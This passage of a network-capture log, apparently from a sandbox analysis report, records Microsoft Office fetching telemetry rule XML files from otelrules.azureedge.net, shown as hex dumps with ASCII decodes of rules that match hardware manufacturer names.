2024-11-18 16:24:09 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:09 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:09 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 165666ad-801e-008c-1f12-377130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162409Z-164f84587bflm48hhC1DFW0nf800000002sg00000000hss8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:09 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.4	49875	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:09 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:09 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:09 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 30aa96c6-b01e-0070-529f-371cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162409Z-164f84587bf7jb9dhC1DFWkay400000005pg00000000a4u8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:09 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.4	49874	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:09 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:09 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:09 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: fa408a18-501e-0064-15b8-371f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162409Z-16547b76f7fqqjnnhC1DFWxv7400000004dg000000003g7g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:09 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.4	49873	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:09 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:09 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:09 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 9c109920-501e-00a3-5d9b-38c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162409Z-16547b76f7fxqj4khC1DFWpypw00000003ag00000000p8uu x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:09 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.4	49877	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:10 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:10 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:10 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 15e9ab73-801e-0047-76bb-377265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162410Z-16547b76f7f5b5tthC1DFWuk8400000004kg00000000rx5n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:10 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.4	49878	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:10 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:10 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:10 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: a0d12520-501e-0029-67fa-36d0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162410Z-164f84587bfrrmqdhC1DFWvu6s00000004s00000000020vn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:10 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.4	49876	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:10 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:10 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:10 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: f23710ee-101e-000b-743d-385e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162410Z-164f84587bfrrmqdhC1DFWvu6s00000004s00000000020vp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:10 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.4	49879	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:10 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:10 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:10 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 2f50f683-a01e-006f-37fb-3613cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162410Z-164f84587bfbvgrghC1DFWbs7w00000006200000000068gq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:10 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.4	49880	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:10 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:10 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:10 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 8a4e7403-501e-0047-0c09-37ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162410Z-16547b76f7fkz9l7hC1DFW35uc000000030g00000000than x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:10 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.4	49881	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:11 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:11 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:11 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: fdac4f62-e01e-0085-71ab-36c311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162411Z-16547b76f7fmcv27hC1DFWgpcg00000004s000000000s4g8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:11 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.4	49883	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:11 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:11 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:11 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 8417a631-c01e-00a2-12c6-372327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162411Z-16547b76f7f6892shC1DFWawd000000002y000000000r9pv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:11 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.4	49882	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:11 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:11 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:11 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 8c3bac6a-901e-0015-469b-38b284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162411Z-1866b5c5fbbg9tvxhC1DFWy9mg00000001wg00000000aymm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:11 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> 